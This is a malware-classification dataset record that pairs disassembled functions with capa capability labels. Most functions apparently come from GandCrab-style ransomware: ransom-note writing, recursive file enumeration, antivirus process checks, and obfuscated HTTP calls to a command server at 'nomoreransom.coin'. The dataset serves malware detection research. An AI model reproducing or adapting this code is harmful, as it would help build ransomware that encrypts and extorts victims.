joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006be0
Capabilities:
Allocate or change rwx memory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x402
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push str._sGDCB_DECRYPT.txt
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10006c3e
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
sete bl
jmp 0x10006c70
mov eax, dword [0x10012a64]
test eax, eax
je 0x10006c64
push 0
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [0x10012a64]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006c90
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov edi, ecx
call fcn.10006640
test eax, eax
je 0x10006dd4
mov ecx, edi
call fcn.10006a40
test eax, eax
jne 0x10006dd4
call fcn.10006be0
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x1000fec4
push edi
lea ebx, [edi + eax*2]
mov dword [ebp - 0x10], ebx
call esi
lea eax, [ebp - 0x264]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor ecx, ecx
mov dword [ebp - 8], eax
mov word [ebx], cx
cmp eax, 0xffffffff
jne 0x10006d04
mov eax, 0xdeadbeaf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp + 0x10]
jmp 0x10006d10
push 0x1000fec8
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10006db3
push 0x1000fecc
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10006db3
lea eax, [ebp - 0x238]
push eax
push edi
call esi
test byte [ebp - 0x264], 0x10
je 0x10006d71
push 0x1000fefc
push edi
call esi
mov edx, dword [ebp - 0x14]
mov ecx, edi
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10006c90
add esp, 0xc
jmp 0x10006dab
push dword [ebp + 8]
mov eax, dword [ebx]
lea edx, [ebp - 0x264]
mov esi, dword [ebx + 4]
push ecx
mov ecx, edi
mov dword [ebp - 0xc], eax
call fcn.10006950
add esp, 8
add dword [ebx], eax
adc dword [ebx + 4], edx
cmp esi, dword [ebx + 4]
ja 0x10006da5
jb 0x10006da0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebx]
jae 0x10006da5
mov eax, dword [ebp + 0xc]
inc dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10006d10
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006e90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
push esi
push edi
xor edi, edi
call fcn.10007ce0
push 0x40
push 0x3000
push 0x2801
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x1000ff0c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push edi
push 0x1000fa7c
sub esp, 8
lea ecx, [ebp - 8]
push 0x27ff
push esi
push edi
push edi
push 0x1000ff10
push 0x1000ff14
call fcn.10007ef0
test eax, eax
je 0x10006f11
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
cmp eax, 0x80
jae 0x10006f11
push esi
push 0x1000fab4
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edi, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10006f2d
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x10006f40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [ebx + 0x80], 0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
je 0x10006f7c
push dword [ebx + 0x88]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x84]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx], 0
je 0x10006f9d
push dword [ebx + 4]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 8]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0xc], 0
je 0x10006fbf
push dword [ebx + 0x10]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x14]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x18], 0
je 0x10006fe1
push dword [ebx + 0x1c]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x20]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x24], 0
je 0x10007003
push dword [ebx + 0x28]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x2c]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x30], 0
je 0x10007025
push dword [ebx + 0x34]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x38]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x3c], 0
je 0x10007047
push dword [ebx + 0x40]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x44]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x48], 0
je 0x10007069
push dword [ebx + 0x4c]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x50]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x54], 0
je 0x1000708b
push dword [ebx + 0x58]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x5c]
push esi
call edi
push 0x1000ff54
push esi
call edi
cmp dword [ebx + 0x60], 0
je 0x100070fc
push 0x40
push 0x3000
push 0x42
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x6c]
mov dword [ebp + 8], eax
test ecx, ecx
je 0x100070c1
push dword [ebx + 0x70]
push ecx
push 0x1000ff58
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x100070d0
push str.undefined
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push dword [ebx + 0x64]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebp + 8]
push esi
call edi
push 0x1000ff54
push esi
call edi
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebx + 0x74], 0
je 0x1000711e
push dword [ebx + 0x78]
push esi
call edi
push 0x1000ff50
push esi
call edi
push dword [ebx + 0x7c]
push esi
call edi
push 0x1000ff54
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
pop edi
mov word [esi + eax*2 - 2], cx
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x100072b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x1000731e
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x14]
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10007306
push dword [ebp - 4]
lea esi, [eax + 1]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x18
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x18
Function at 0x10007a10
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 4
push 0x3000
push 0x400
push 0
call esi
mov ebx, dword [ebp + 8]
push 4
push 0x3000
push 4
push 0
mov dword [ebx], eax
mov dword [ebp - 0x4c], str.AVP.EXE
mov dword [ebp - 0x48], str.ekrn.exe
mov dword [ebp - 0x44], str.avgnt.exe
mov dword [ebp - 0x40], str.ashDisp.exe
mov dword [ebp - 0x3c], str.NortonAntiBot.exe
mov dword [ebp - 0x38], str.Mcshield.exe
mov dword [ebp - 0x34], str.avengine.exe
mov dword [ebp - 0x30], str.cmdagent.exe
mov dword [ebp - 0x2c], str.smc.exe
mov dword [ebp - 0x28], str.persfw.exe
mov dword [ebp - 0x24], str.pccpfw.exe
mov dword [ebp - 0x20], str.fsguiexe.exe
mov dword [ebp - 0x1c], str.cfp.exe
mov dword [ebp - 0x18], str.msmpeng.exe
call esi
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x10007ad2
push 0
push 2
mov dword [edi], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x10007add
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
xor ecx, ecx
xor esi, esi
push edi
push eax
mov dword [ebp - 8], ecx
mov dword [ebp + 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10007bcd
lea ecx, [ecx]
test esi, esi
jne 0x10007ba7
add edi, 0x24
jmp 0x10007b10
push edi
push dword [ebp + esi*4 - 0x4c]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x10007b2a
inc esi
cmp esi, 0xe
jb 0x10007b10
mov esi, dword [ebp - 4]
jmp 0x10007b87
cmp dword [ebp + 8], 0
push edi
push dword [ebx]
mov dword [ebp - 0xc], 1
jne 0x10007b4f
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x10010330
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x10007b60
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
call esi
push 0x10010330
push dword [ebx]
call esi
inc dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 8]
mov esi, dword [ebp - 4]
lea ecx, [ecx + eax*2]
mov eax, 1
cmp ecx, 0x3c0
mov dword [ebp - 8], ecx
cmova esi, eax
mov dword [ebp - 4], esi
mov edi, dword [ebp - 0x14]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x10007ba7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x10007b00
cmp dword [ebp - 0xc], 0
je 0x10007bc5
mov eax, dword [ebx]
cmp word [eax], 0
je 0x10007bc5
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx]
xor edx, edx
mov word [ecx + eax*2 - 2], dx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edi
call esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0xc]
test edi, edi
jne 0x10007bf7
push 0x8000
push edi
push dword [ebx]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10007ce0
Capabilities:
Contain obfuscated stackstrings
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdc
push ebx
push esi
push edi
mov edi, dword [sym.imp.WININET.dll_InternetOpenW]
xor eax, eax
push eax
push eax
push eax
push eax
mov word [ebp - 4], ax
mov esi, ecx
lea eax, [ebp - 0xdc]
mov dword [ebp - 0xdc], 0x6f004d
push eax
mov dword [ebp - 0xd8], 0x69007a
mov dword [ebp - 0xd4], 0x6c006c
mov dword [ebp - 0xd0], 0x2f0061
mov dword [ebp - 0xcc], 0x2e0035
mov dword [ebp - 0xc8], 0x200030
mov dword [ebp - 0xc4], 0x570028
mov dword [ebp - 0xc0], 0x6e0069
mov dword [ebp - 0xbc], 0x6f0064
mov dword [ebp - 0xb8], 0x730077
mov dword [ebp - 0xb4], 0x4e0020
mov dword [ebp - 0xb0], 0x200054
mov dword [ebp - 0xac], 0x2e0036
mov dword [ebp - 0xa8], 0x3b0031
mov dword [ebp - 0xa4], 0x570020
mov dword [ebp - 0xa0], 0x57004f
mov dword [ebp - 0x9c], 0x340036
mov dword [ebp - 0x98], 0x200029
mov dword [ebp - 0x94], 0x700041
mov dword [ebp - 0x90], 0x6c0070
mov dword [ebp - 0x8c], 0x570065
mov dword [ebp - 0x88], 0x620065
mov dword [ebp - 0x84], 0x69004b
mov dword [ebp - 0x80], 0x2f0074
mov dword [ebp - 0x7c], 0x330035
mov dword [ebp - 0x78], 0x2e0037
mov dword [ebp - 0x74], 0x360033
mov dword [ebp - 0x70], 0x280020
mov dword [ebp - 0x6c], 0x48004b
mov dword [ebp - 0x68], 0x4d0054
mov dword [ebp - 0x64], 0x2c004c
mov dword [ebp - 0x60], 0x6c0020
mov dword [ebp - 0x5c], 0x6b0069
mov dword [ebp - 0x58], 0x200065
mov dword [ebp - 0x54], 0x650047
mov dword [ebp - 0x50], 0x6b0063
mov dword [ebp - 0x4c], 0x29006f
mov dword [ebp - 0x48], 0x430020
mov dword [ebp - 0x44], 0x720068
mov dword [ebp - 0x40], 0x6d006f
mov dword [ebp - 0x3c], 0x2f0065
mov dword [ebp - 0x38], 0x350035
mov dword [ebp - 0x34], 0x30002e
mov dword [ebp - 0x30], 0x32002e
mov dword [ebp - 0x2c], 0x380038
mov dword [ebp - 0x28], 0x2e0033
mov dword [ebp - 0x24], 0x370038
mov dword [ebp - 0x20], 0x530020
mov dword [ebp - 0x1c], 0x660061
mov dword [ebp - 0x18], 0x720061
mov dword [ebp - 0x14], 0x2f0069
mov dword [ebp - 0x10], 0x330035
mov dword [ebp - 0xc], 0x2e0037
mov dword [ebp - 8], 0x360033
call edi
mov dword [esi + 4], eax
test eax, eax
jne 0x10007ee2
push 0x10000000
push eax
push eax
push 1
lea eax, [ebp - 0xdc]
push eax
call edi
mov dword [esi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007ef0
Capabilities:
Allocate or change rwx memory
Connect to http server
Contain obfuscated stackstrings
Execute shellcode via indirect call
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x10007f09
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, esi
call fcn.10007ce0
push 0
push 0
push 3
push 0
push 0
push 0x50
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov esi, eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x10007f41
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
push 0x40
push 0x3000
push 0x2800
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp + 0xc]
mov edi, eax
push 0x1000f41c
push edi
mov dword [ebp - 0x10], edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0x8404f700
push 0
push 0
push str.HTTP_1.1
push edi
push dword [ebp + 0x28]
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
test edi, edi
je 0x10008062
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x6f0048
push eax
push edi
mov dword [ebp - 0x3c], 0x740073
mov dword [ebp - 0x38], 0x20003a
mov dword [ebp - 0x34], 0x6f006e
mov dword [ebp - 0x30], 0x6f006d
mov dword [ebp - 0x2c], 0x650072
mov dword [ebp - 0x28], 0x610072
mov dword [ebp - 0x24], 0x73006e
mov dword [ebp - 0x20], 0x6d006f
mov dword [ebp - 0x1c], 0x63002e
mov dword [ebp - 0x18], 0x69006f
mov dword [ebp - 0x14], 0x6e
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersW]
test eax, eax
je 0x10008062
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x1000805c
mov ebx, dword [ebp + 0x1c]
lea eax, [ebp + 8]
mov esi, dword [ebp + 0x18]
dec ebx
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10008062
mov edi, edi
mov eax, dword [ebp + 8]
test eax, eax
je 0x10008062
mov byte [eax + esi], 0
lea eax, [ebp + 8]
push eax
push ebx
push esi
push edi
mov dword [ebp + 8], 0
mov dword [ebp - 8], 1
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10008030
jmp 0x10008062
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 0xc]
call esi
push 0x8000
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x2c
Function at 0x10008150
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0xf0000000
push 1
xor ebx, ebx
mov dword [ebp - 8], ecx
push ebx
push ebx
lea eax, [ebp - 4]
mov edi, edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x10008269
xor ecx, ecx
lea ecx, [ecx]
lea eax, [ecx + 0x61]
mov word [ebp + ecx*2 - 0x64], ax
inc ecx
cmp ecx, 0x1a
jb 0x10008180
push 0x40
push 0x3000
lea ebx, [edi + 1]
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10008272
cmp edi, ebx
jae 0x10008272
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10008207
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000824e
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000824e
push esi
push edi
push dword [ebp - 4]
call eax
test eax, eax
je 0x1000824e
xor ecx, ecx
test edi, edi
je 0x10008247
mov ebx, dword [ebp - 8]
mov dword [ebp - 0xc], 0x1a
movzx eax, byte [esi + ecx]
cdq
idiv dword [ebp - 0xc]
mov ax, word [ebp + edx*2 - 0x64]
mov word [ebx + ecx*2], ax
inc ecx
cmp ecx, edi
jb 0x10008231
mov ebx, 1
jmp 0x10008250
xor ebx, ebx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100082a0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push 0xf0000000
push 1
xor edi, edi
mov dword [ebp - 0xc], ecx
push edi
push edi
lea eax, [ebp - 4]
mov ebx, edx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x10008392
xor ecx, ecx
lea eax, [ecx + 0x61]
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 0x1a
jb 0x100082d0
push 0x40
push 0x3000
inc ebx
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x1000839b
cmp dword [ebp - 8], ebx
jae 0x1000839b
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x2c], 0x70797243
push eax
mov dword [ebp - 0x28], 0x6e654774
mov dword [ebp - 0x24], 0x646e6152
mov word [ebp - 0x20], 0x6d6f
mov byte [ebp - 0x1e], 0
mov dword [ebp - 0x1c], 0x61766441
mov dword [ebp - 0x18], 0x32336970
mov dword [ebp - 0x14], 0x6c6c642e
mov byte [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10008355
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10008379
lea ecx, [ebp - 0x2c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10008379
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp - 4]
call eax
test eax, eax
mov ecx, 1
cmovne edi, ecx
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xd98370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xd9838e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xdc1074
push ecx
mov edi, eax
call fcn.00dac198
mov esi, eax
add esp, 8
test esi, esi
jne 0xd983cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.00dac02e
push esi
call fcn.00dabfb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0xd9b850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0xd9b8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0xdc6720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xd9b8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.00dac1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0xd9b8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0xdc6720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0xd9b92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.00dad082
xor esi, esi
add esp, 8
cmp eax, esi
je 0xd9b957
mov word [eax], si
add eax, 2
push eax
call fcn.00dad030
add esp, 4
jmp 0xd9b959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0xd9b8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0xd9b8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0xd9bff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret